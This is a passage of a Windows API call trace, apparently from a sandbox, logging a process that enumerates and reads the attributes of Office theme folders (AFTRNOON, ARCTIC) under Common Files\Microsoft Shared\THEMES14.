cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0058.004] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0058.004] GetLastError () returned 0x12 [0058.004] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0058.004] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0058.004] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.004] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0058.004] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0058.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0058.005] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0058.005] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa5c38 [0058.005] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa5c38, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa5c38, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0058.005] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa5c38) returned 1 [0058.005] NtClose (Handle=0x184) returned 0x0 [0058.005] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0058.005] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.005] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0058.005] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0058.005] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.005] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4388 [0058.005] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0058.005] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.005] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0058.005] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.005] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.005] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.005] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.005] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.005] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4490 [0058.006] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2f48 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4598 [0058.006] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.006] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.006] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.006] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2f68 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa46a0 [0058.006] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.006] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.006] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.006] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2f88 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa47a8 [0058.006] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.006] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.006] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.006] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2fa8 [0058.007] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa48b0 [0058.007] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.007] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.007] GetLastError () returned 0x12 [0058.007] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0058.007] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0058.007] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.007] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0058.007] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0058.007] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.007] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.007] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.007] GetLastError () returned 0x12 [0058.007] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4388) returned 1 [0058.007] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0058.007] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4490) returned 1 [0058.007] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0058.007] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0058.007] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.007] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0058.039] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0058.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa5c38 [0058.039] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa5c38, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa5c38, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0058.039] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa5c38) returned 1 [0058.039] NtClose (Handle=0x190) returned 0x0 [0058.039] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0058.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0058.039] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4490 [0058.039] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0058.039] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.039] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0058.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.039] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4388 [0058.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2fc8 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa49b8 [0058.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.040] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2fe8 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4ac0 [0058.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.040] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3008 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4bc8 [0058.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.040] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.041] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3028 [0058.041] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4cd0 [0058.041] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.041] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.041] GetLastError () returned 0x12 [0058.041] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0058.041] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0058.041] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.041] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, 